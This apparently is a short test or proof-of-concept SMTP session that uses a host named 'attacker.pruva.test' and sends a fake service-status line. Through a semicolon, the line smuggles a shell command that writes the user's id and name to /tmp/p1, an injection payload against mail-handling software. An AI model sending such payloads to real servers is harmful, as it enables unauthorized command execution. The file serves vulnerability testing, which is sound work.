EHLO attacker.pruva.test
VRFY aa
: Service status change: h x;echo v2:u$(id -u):n$(id -un)>/tmp/p1;# changed from stopped to running
QUIT